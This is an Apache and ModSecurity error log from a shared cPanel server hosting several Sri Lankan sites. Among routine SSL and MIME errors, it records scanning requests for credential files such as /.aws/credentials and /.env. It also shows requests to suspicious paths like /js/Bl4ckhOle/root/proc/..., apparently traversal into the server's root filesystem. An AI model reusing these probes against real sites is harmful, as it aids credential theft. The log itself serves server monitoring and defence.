[Fri Jul 17 08:22:56.885975 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:56878] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:22:57.227295 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:57.435531 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:58.153603 2026] [security2:error] [pid 1994956:tid 1994956] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almZCgG5-NXx3Mem1QgNcQAAAA8"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:22:58.153650 2026] [security2:error] [pid 1994956:tid 1994956] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almZCgG5-NXx3Mem1QgNcQAAAA8"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:22:58.802082 2026] [ssl:error] [pid 2005917:tid 2005917] (70014)End of file found: [client 66.85.158.91:56960] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:01.227703 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:57104] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:01.332916 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:01.372337 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:02.159340 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:02.725711 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:52392] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:05.863014 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:52542] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:07.159914 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:07.483934 2026] [ssl:error] [pid 2005917:tid 2005917] (70014)End of file found: [client 66.85.158.91:52624] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:07.763424 2026] [ssl:error] [pid 1994446:tid 1994446] (5)Input/output error: [client 66.85.158.91:52640] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:08.271866 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:09.989659 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:52696] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:10.668467 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 57.141.18.73:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory82/node0/memory79/node0/memory55/subsystem/drivers_probe
[Fri Jul 17 08:23:12.161383 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:13.183469 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:58986] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:13.704761 2026] [ssl:error] [pid 2008451:tid 2008451] (70014)End of file found: [client 66.85.158.91:59020] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:15.839723 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:16.280639 2026] [ssl:error] [pid 2005917:tid 2005917] (70014)End of file found: [client 66.85.158.91:59158] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:17.211674 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:17.310836 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:59192] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:18.599384 2026] [security2:error] [pid 1993659:tid 1993659] [client 185.191.171.15:0] ModSecurity: Warning. Matched phrase "/package.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /package.json found within REQUEST_FILENAME: /daph/daph2/node_modules/@webassemblyjs/ieee754/package.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ksoft.web.lk"] [uri "/daph/daph2/node_modules/@webassemblyjs/ieee754/package.json"] [unique_id "almZHpOFLENLI63GGOEJjAAAAAQ"]
[Fri Jul 17 08:23:18.599629 2026] [security2:error] [pid 1993659:tid 1993659] [client 185.191.171.15:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ksoft.web.lk"] [uri "/daph/daph2/node_modules/@webassemblyjs/ieee754/package.json"] [unique_id "almZHpOFLENLI63GGOEJjAAAAAQ"]
[Fri Jul 17 08:23:18.653213 2026] [security2:error] [pid 1993659:tid 1993659] [client 185.191.171.15:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ksoft.web.lk"] [uri "/daph/daph2/node_modules/@webassemblyjs/ieee754/package.json"] [unique_id "almZHpOFLENLI63GGOEJjAAAAAQ"]
[Fri Jul 17 08:23:18.886901 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:59268] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:19.403258 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:59304] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:19.972887 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:59326] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:21.126896 2026] [security2:error] [pid 1993570:tid 1993570] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almZIHjA8yK8B7kryx3g2gAAAAk"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1025&page_105=1167
[Fri Jul 17 08:23:21.126942 2026] [security2:error] [pid 1993570:tid 1993570] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almZIHjA8yK8B7kryx3g2gAAAAk"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1025&page_105=1167
[Fri Jul 17 08:23:21.667584 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:45528] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:22.167941 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:45564] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:22.816575 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:22.954140 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:24.807122 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:26.186602 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:45834] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:27.732412 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:27.881128 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:45916] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:30.808877 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almZKqUJv0yl2bIgVrkMrAAAABU"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:23:30.808908 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almZKqUJv0yl2bIgVrkMrAAAABU"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:23:31.567814 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:42818] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:32.747953 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:32.873250 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:42870] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:34.980393 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:37.460032 2026] [security2:error] [pid 1994967:tid 1994967] [client 57.141.18.23:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory58/node0/memory93/subsystem/devices/memory59/node0/"] [unique_id "almZMUhq6UAnqYko0LpWlgAAABE"]
[Fri Jul 17 08:23:37.464036 2026] [security2:error] [pid 1994967:tid 1994967] [client 57.141.18.23:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory58/node0/memory93/subsystem/devices/memory59/node0/"] [unique_id "almZMUhq6UAnqYko0LpWlgAAABE"]
[Fri Jul 17 08:23:37.741648 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:38.532035 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:39.478898 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:43182] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:39.932000 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:43190] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:40.589862 2026] [security2:error] [pid 1993619:tid 1993619] [client 57.141.18.75:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/cpu/devices/cpu0/node0/memory78/node0/memory116/subsystem/"] [unique_id "almZNI1dLClkUfK_dfHgvwAAAAI"]
[Fri Jul 17 08:23:41.019218 2026] [security2:error] [pid 1993619:tid 1993619] [client 57.141.18.75:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/cpu/devices/cpu0/node0/memory78/node0/memory116/subsystem/"] [unique_id "almZNI1dLClkUfK_dfHgvwAAAAI"]
[Fri Jul 17 08:23:41.919632 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:41.950266 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:42.089889 2026] [security2:error] [pid 1993570:tid 1993570] [client 185.191.171.1:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "ksoft.web.lk"] [uri "/daph/daph4/vendor/symfony/http-kernel/DataCollector/RouterDataCollector.php"] [unique_id "almZNXjA8yK8B7kryx3g6gAAAAk"]
[Fri Jul 17 08:23:42.089937 2026] [security2:error] [pid 1993570:tid 1993570] [client 185.191.171.1:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "ksoft.web.lk"] [uri "/daph/daph4/vendor/symfony/http-kernel/DataCollector/RouterDataCollector.php"] [unique_id "almZNXjA8yK8B7kryx3g6gAAAAk"]
[Fri Jul 17 08:23:42.789302 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:43.289799 2026] [security2:error] [pid 1993659:tid 1993659] [client 74.7.241.2:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "millenniumagro.lk"] [uri "/wp-includes/js/jquery/ui/core.min.js"] [unique_id "almZN5OFLENLI63GGOEJoQAAAAQ"], referer: https://millenniumagro.lk/?p=4742
[Fri Jul 17 08:23:43.289849 2026] [security2:error] [pid 1993659:tid 1993659] [client 74.7.241.2:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "millenniumagro.lk"] [uri "/wp-includes/js/jquery/ui/core.min.js"] [unique_id "almZN5OFLENLI63GGOEJoQAAAAQ"], referer: https://millenniumagro.lk/?p=4742
[Fri Jul 17 08:23:43.905862 2026] [security2:error] [pid 1993604:tid 1993604] [client 93.152.221.13:0] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "manaharasupercenter.lk"] [uri "/.aws/credentials"] [unique_id "almZN4ha5y5fYnQ1qRrvEwAAAAE"]
[Fri Jul 17 08:23:43.906154 2026] [security2:error] [pid 1993604:tid 1993604] [client 93.152.221.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "manaharasupercenter.lk"] [uri "/.aws/credentials"] [unique_id "almZN4ha5y5fYnQ1qRrvEwAAAAE"]
[Fri Jul 17 08:23:44.248592 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:37288] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:45.552653 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:37370] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:46.069734 2026] [security2:error] [pid 1993604:tid 1993604] [client 93.152.221.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almZN4ha5y5fYnQ1qRrvEwAAAAE"]
[Fri Jul 17 08:23:46.373118 2026] [security2:error] [pid 1993573:tid 1993573] [client 93.152.221.13:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "manaharasupercenter.lk"] [uri "/.env"] [unique_id "almZOnt8zp89pALg8Q5kegAAAA4"]
[Fri Jul 17 08:23:46.373353 2026] [security2:error] [pid 1993573:tid 1993573] [client 93.152.221.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "manaharasupercenter.lk"] [uri "/.env"] [unique_id "almZOnt8zp89pALg8Q5kegAAAA4"]
[Fri Jul 17 08:23:47.030964 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:37462] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:47.746091 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:47.759212 2026] [core:crit] [pid 1994446:tid 1994446] (13)Permission denied: [client 3.14.69.207:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs/conf.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs/conf.d/' is executable
[Fri Jul 17 08:23:47.800886 2026] [core:crit] [pid 1994446:tid 1994446] (13)Permission denied: [client 3.14.69.207:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs/custom.etc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs/custom.etc/' is executable
[Fri Jul 17 08:23:47.801071 2026] [core:crit] [pid 1994446:tid 1994446] (13)Permission denied: [client 3.14.69.207:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs/exclude.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs/exclude.d/' is executable
[Fri Jul 17 08:23:47.826329 2026] [core:crit] [pid 1994446:tid 1994446] (13)Permission denied: [client 3.14.69.207:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs/exclude/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs/exclude/' is executable
[Fri Jul 17 08:23:48.442798 2026] [security2:error] [pid 1993573:tid 1993573] [client 93.152.221.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almZOnt8zp89pALg8Q5kegAAAA4"]
[Fri Jul 17 08:23:48.751832 2026] [security2:error] [pid 1996894:tid 1996894] [client 93.152.221.13:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "manaharasupercenter.lk"] [uri "/.env.example"] [unique_id "almZPI4Wmn5zySdNNkAkMAAAABM"]
[Fri Jul 17 08:23:48.752090 2026] [security2:error] [pid 1996894:tid 1996894] [client 93.152.221.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "manaharasupercenter.lk"] [uri "/.env.example"] [unique_id "almZPI4Wmn5zySdNNkAkMAAAABM"]
[Fri Jul 17 08:23:49.285313 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:49.289830 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:49.621372 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:37586] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:50.561631 2026] [security2:error] [pid 1996894:tid 1996894] [client 93.152.221.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almZPI4Wmn5zySdNNkAkMAAAABM"]
[Fri Jul 17 08:23:50.868851 2026] [security2:error] [pid 1993584:tid 1993584] [client 93.152.221.13:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "manaharasupercenter.lk"] [uri "/.env.local"] [unique_id "almZPlxP5-SsqbGuGB2kegAAAAA"]
[Fri Jul 17 08:23:50.869140 2026] [security2:error] [pid 1993584:tid 1993584] [client 93.152.221.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "manaharasupercenter.lk"] [uri "/.env.local"] [unique_id "almZPlxP5-SsqbGuGB2kegAAAAA"]
[Fri Jul 17 08:23:52.302323 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:40954] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:52.676145 2026] [security2:error] [pid 1993584:tid 1993584] [client 93.152.221.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almZPlxP5-SsqbGuGB2kegAAAAA"]
[Fri Jul 17 08:23:52.773260 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
